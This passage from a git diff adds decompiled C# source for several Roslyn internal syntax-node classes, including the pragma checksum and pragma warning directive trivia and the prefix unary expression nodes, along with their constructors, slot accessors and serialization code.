ObjectBinder.RegisterTypeReader(typeof(PostfixUnaryExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new PostfixUnaryExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PragmaChecksumDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PragmaChecksumDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..7ac823f --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PragmaChecksumDirectiveTriviaSyntax.cs @@ -0,0 +1,210 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class PragmaChecksumDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken pragmaKeyword; + + internal readonly SyntaxToken checksumKeyword; + + internal readonly SyntaxToken file; + + internal readonly SyntaxToken guid; + + internal readonly SyntaxToken bytes; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken PragmaKeyword => pragmaKeyword; + + public SyntaxToken ChecksumKeyword => checksumKeyword; + + public SyntaxToken File => file; + + public SyntaxToken Guid => guid; + + public SyntaxToken Bytes => bytes; + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal PragmaChecksumDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken checksumKeyword, SyntaxToken file, SyntaxToken guid, SyntaxToken bytes, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 7; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pragmaKeyword); + this.pragmaKeyword = pragmaKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checksumKeyword); + this.checksumKeyword = checksumKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)guid); + this.guid = guid; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)bytes); + this.bytes = bytes; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal PragmaChecksumDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken checksumKeyword, SyntaxToken file, SyntaxToken guid, SyntaxToken bytes, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 7; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pragmaKeyword); + this.pragmaKeyword = pragmaKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checksumKeyword); + this.checksumKeyword = checksumKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)guid); + this.guid = guid; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)bytes); + this.bytes = bytes; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal PragmaChecksumDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken checksumKeyword, SyntaxToken file, SyntaxToken guid, SyntaxToken bytes, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 7; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pragmaKeyword); + this.pragmaKeyword = pragmaKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)checksumKeyword); + this.checksumKeyword = checksumKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)file); + this.file = file; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)guid); + this.guid = guid; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)bytes); + this.bytes = bytes; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => pragmaKeyword, + 2 => checksumKeyword, + 3 => file, + 4 => guid, + 5 => bytes, + 6 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.PragmaChecksumDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPragmaChecksumDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPragmaChecksumDirectiveTrivia(this); + } + + public PragmaChecksumDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken checksumKeyword, SyntaxToken file, SyntaxToken guid, SyntaxToken bytes, SyntaxToken endOfDirectiveToken, bool isActive) + { + if (hashToken != HashToken || pragmaKeyword != PragmaKeyword || checksumKeyword != ChecksumKeyword || file != File || guid != Guid || bytes != Bytes || endOfDirectiveToken != EndOfDirectiveToken) + { + PragmaChecksumDirectiveTriviaSyntax pragmaChecksumDirectiveTriviaSyntax = SyntaxFactory.PragmaChecksumDirectiveTrivia(hashToken, pragmaKeyword, checksumKeyword, file, guid, bytes, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + pragmaChecksumDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(pragmaChecksumDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + pragmaChecksumDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(pragmaChecksumDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return pragmaChecksumDirectiveTriviaSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new PragmaChecksumDirectiveTriviaSyntax(base.Kind, hashToken, pragmaKeyword, checksumKeyword, file, guid, bytes, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new PragmaChecksumDirectiveTriviaSyntax(base.Kind, hashToken, pragmaKeyword, checksumKeyword, file, guid, bytes, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal PragmaChecksumDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 7; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + pragmaKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + checksumKeyword = syntaxToken3; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + file = syntaxToken4; + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + guid = syntaxToken5; + SyntaxToken syntaxToken6 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken6); + bytes = syntaxToken6; + SyntaxToken syntaxToken7 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken7); + endOfDirectiveToken = syntaxToken7; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)pragmaKeyword); + writer.WriteValue((IObjectWritable)(object)checksumKeyword); + writer.WriteValue((IObjectWritable)(object)file); + writer.WriteValue((IObjectWritable)(object)guid); + writer.WriteValue((IObjectWritable)(object)bytes); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static PragmaChecksumDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(PragmaChecksumDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new PragmaChecksumDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PragmaWarningDirectiveTriviaSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PragmaWarningDirectiveTriviaSyntax.cs new file mode 100644 index 0000000..5df1aae --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PragmaWarningDirectiveTriviaSyntax.cs @@ -0,0 +1,217 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class PragmaWarningDirectiveTriviaSyntax : DirectiveTriviaSyntax +{ + internal readonly SyntaxToken hashToken; + + internal readonly SyntaxToken pragmaKeyword; + + internal readonly SyntaxToken warningKeyword; + + internal readonly SyntaxToken disableOrRestoreKeyword; + + internal readonly GreenNode? errorCodes; + + internal readonly SyntaxToken endOfDirectiveToken; + + internal readonly bool isActive; + + public override SyntaxToken HashToken => hashToken; + + public SyntaxToken PragmaKeyword => pragmaKeyword; + + public SyntaxToken WarningKeyword => warningKeyword; + + public SyntaxToken DisableOrRestoreKeyword => disableOrRestoreKeyword; + + public SeparatedSyntaxList ErrorCodes => new SeparatedSyntaxList(SyntaxList.op_Implicit(new SyntaxList(errorCodes))); + + public override SyntaxToken EndOfDirectiveToken => endOfDirectiveToken; + + public override bool IsActive => isActive; + + internal PragmaWarningDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken warningKeyword, SyntaxToken disableOrRestoreKeyword, GreenNode? errorCodes, SyntaxToken endOfDirectiveToken, bool isActive, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 6; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pragmaKeyword); + this.pragmaKeyword = pragmaKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)warningKeyword); + this.warningKeyword = warningKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)disableOrRestoreKeyword); + this.disableOrRestoreKeyword = disableOrRestoreKeyword; + if (errorCodes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(errorCodes); + this.errorCodes = errorCodes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal PragmaWarningDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken warningKeyword, SyntaxToken disableOrRestoreKeyword, GreenNode? errorCodes, SyntaxToken endOfDirectiveToken, bool isActive, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 6; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pragmaKeyword); + this.pragmaKeyword = pragmaKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)warningKeyword); + this.warningKeyword = warningKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)disableOrRestoreKeyword); + this.disableOrRestoreKeyword = disableOrRestoreKeyword; + if (errorCodes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(errorCodes); + this.errorCodes = errorCodes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal PragmaWarningDirectiveTriviaSyntax(SyntaxKind kind, SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken warningKeyword, SyntaxToken disableOrRestoreKeyword, GreenNode? errorCodes, SyntaxToken endOfDirectiveToken, bool isActive) + : base(kind) + { + ((GreenNode)this).SlotCount = 6; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)hashToken); + this.hashToken = hashToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)pragmaKeyword); + this.pragmaKeyword = pragmaKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)warningKeyword); + this.warningKeyword = warningKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)disableOrRestoreKeyword); + this.disableOrRestoreKeyword = disableOrRestoreKeyword; + if (errorCodes != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(errorCodes); + this.errorCodes = errorCodes; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)endOfDirectiveToken); + this.endOfDirectiveToken = endOfDirectiveToken; + this.isActive = isActive; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => hashToken, + 1 => pragmaKeyword, + 2 => warningKeyword, + 3 => disableOrRestoreKeyword, + 4 => errorCodes, + 5 => endOfDirectiveToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.PragmaWarningDirectiveTriviaSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPragmaWarningDirectiveTrivia(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPragmaWarningDirectiveTrivia(this); + } + + public PragmaWarningDirectiveTriviaSyntax Update(SyntaxToken hashToken, SyntaxToken pragmaKeyword, SyntaxToken warningKeyword, SyntaxToken disableOrRestoreKeyword, SeparatedSyntaxList errorCodes, SyntaxToken endOfDirectiveToken, bool isActive) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + if (hashToken == HashToken && pragmaKeyword == PragmaKeyword && warningKeyword == WarningKeyword && disableOrRestoreKeyword == DisableOrRestoreKeyword) + { + SeparatedSyntaxList val = ErrorCodes; + if (!((ref errorCodes) != (ref val)) && endOfDirectiveToken == EndOfDirectiveToken) + { + return this; + } + } + PragmaWarningDirectiveTriviaSyntax pragmaWarningDirectiveTriviaSyntax = SyntaxFactory.PragmaWarningDirectiveTrivia(hashToken, pragmaKeyword, warningKeyword, disableOrRestoreKeyword, errorCodes, endOfDirectiveToken, isActive); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + pragmaWarningDirectiveTriviaSyntax = GreenNodeExtensions.WithDiagnosticsGreen(pragmaWarningDirectiveTriviaSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + pragmaWarningDirectiveTriviaSyntax = GreenNodeExtensions.WithAnnotationsGreen(pragmaWarningDirectiveTriviaSyntax, (IEnumerable)annotations); + } + return pragmaWarningDirectiveTriviaSyntax; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new PragmaWarningDirectiveTriviaSyntax(base.Kind, hashToken, pragmaKeyword, warningKeyword, disableOrRestoreKeyword, errorCodes, endOfDirectiveToken, isActive, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new PragmaWarningDirectiveTriviaSyntax(base.Kind, hashToken, pragmaKeyword, warningKeyword, disableOrRestoreKeyword, errorCodes, endOfDirectiveToken, isActive, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal PragmaWarningDirectiveTriviaSyntax(ObjectReader reader) + : base(reader) + { + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 6; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + hashToken = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + pragmaKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + warningKeyword = syntaxToken3; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + disableOrRestoreKeyword = syntaxToken4; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + errorCodes = val; + } + SyntaxToken syntaxToken5 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken5); + endOfDirectiveToken = syntaxToken5; + isActive = reader.ReadBoolean(); + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)hashToken); + writer.WriteValue((IObjectWritable)(object)pragmaKeyword); + writer.WriteValue((IObjectWritable)(object)warningKeyword); + writer.WriteValue((IObjectWritable)(object)disableOrRestoreKeyword); + writer.WriteValue((IObjectWritable)(object)errorCodes); + writer.WriteValue((IObjectWritable)(object)endOfDirectiveToken); + writer.WriteBoolean(isActive); + } + + static PragmaWarningDirectiveTriviaSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(PragmaWarningDirectiveTriviaSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new PragmaWarningDirectiveTriviaSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PredefinedTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PredefinedTypeSyntax.cs new file mode 100644 index 0000000..a84eff5 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PredefinedTypeSyntax.cs @@ -0,0 +1,111 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class PredefinedTypeSyntax : TypeSyntax +{ + internal readonly SyntaxToken keyword; + + public SyntaxToken Keyword => keyword; + + internal PredefinedTypeSyntax(SyntaxKind kind, SyntaxToken keyword, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + } + + internal PredefinedTypeSyntax(SyntaxKind kind, SyntaxToken keyword, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + } + + internal PredefinedTypeSyntax(SyntaxKind kind, SyntaxToken keyword) + : base(kind) + { + ((GreenNode)this).SlotCount = 1; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)keyword); + this.keyword = keyword; + } + + internal override GreenNode? GetSlot(int index) + { + if (index != 0) + { + return null; + } + return (GreenNode?)(object)keyword; + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.PredefinedTypeSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPredefinedType(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPredefinedType(this); + } + + public PredefinedTypeSyntax Update(SyntaxToken keyword) + { + if (keyword != Keyword) + { + PredefinedTypeSyntax predefinedTypeSyntax = SyntaxFactory.PredefinedType(keyword); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + predefinedTypeSyntax = GreenNodeExtensions.WithDiagnosticsGreen(predefinedTypeSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + predefinedTypeSyntax = GreenNodeExtensions.WithAnnotationsGreen(predefinedTypeSyntax, (IEnumerable)annotations); + } + return predefinedTypeSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new PredefinedTypeSyntax(base.Kind, keyword, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new PredefinedTypeSyntax(base.Kind, keyword, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal PredefinedTypeSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 1; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + keyword = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)keyword); + } + + static PredefinedTypeSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(PredefinedTypeSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new PredefinedTypeSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PrefixUnaryExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PrefixUnaryExpressionSyntax.cs new file mode 100644 index 0000000..3150b9d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PrefixUnaryExpressionSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class PrefixUnaryExpressionSyntax : ExpressionSyntax +{ + internal readonly SyntaxToken operatorToken; + + internal readonly ExpressionSyntax operand; + + public SyntaxToken OperatorToken => operatorToken; + + public ExpressionSyntax Operand => operand; + + internal PrefixUnaryExpressionSyntax(SyntaxKind kind, SyntaxToken operatorToken, ExpressionSyntax operand, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operand); + this.operand = operand; + } + + internal PrefixUnaryExpressionSyntax(SyntaxKind kind, SyntaxToken operatorToken, ExpressionSyntax operand, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operand); + this.operand = operand; + } + + internal PrefixUnaryExpressionSyntax(SyntaxKind kind, SyntaxToken operatorToken, ExpressionSyntax operand) + : base(kind) + { + ((GreenNode)this).SlotCount = 2; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operatorToken); + this.operatorToken = operatorToken; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)operand); + this.operand = operand; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => operatorToken, + 1 => operand, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.PrefixUnaryExpressionSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitPrefixUnaryExpression(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitPrefixUnaryExpression(this); + } + + public PrefixUnaryExpressionSyntax Update(SyntaxToken operatorToken, ExpressionSyntax operand) + { + if (operatorToken != OperatorToken || operand != Operand) + { + PrefixUnaryExpressionSyntax prefixUnaryExpressionSyntax = SyntaxFactory.PrefixUnaryExpression(base.Kind, operatorToken, operand); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + prefixUnaryExpressionSyntax = GreenNodeExtensions.WithDiagnosticsGreen(prefixUnaryExpressionSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + prefixUnaryExpressionSyntax = GreenNodeExtensions.WithAnnotationsGreen(prefixUnaryExpressionSyntax, (IEnumerable)annotations); + } + return prefixUnaryExpressionSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new PrefixUnaryExpressionSyntax(base.Kind, operatorToken, operand, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new PrefixUnaryExpressionSyntax(base.Kind, operatorToken, operand, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal PrefixUnaryExpressionSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 2; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + operatorToken = syntaxToken; + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + operand = expressionSyntax; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)operatorToken); + writer.WriteValue((IObjectWritable)(object)operand); + } + + static PrefixUnaryExpressionSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(PrefixUnaryExpressionSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new PrefixUnaryExpressionSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PrimaryConstructorBaseTypeSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PrimaryConstructorBaseTypeSyntax.cs new file mode 100644 index 0000000..b4bb728 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/PrimaryConstructorBaseTypeSyntax.cs @@ -0,0 +1,126 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class PrimaryConstructorBaseTypeSyntax : BaseTypeSyntax +{ + internal readonly TypeSyntax type; + + internal readonly ArgumentListSyntax argumentList; + + public override TypeSyntax Type => type; + + public ArgumentListSyntax ArgumentList => argumentList; + + internal PrimaryConstructorBaseTypeSyntax(SyntaxKind 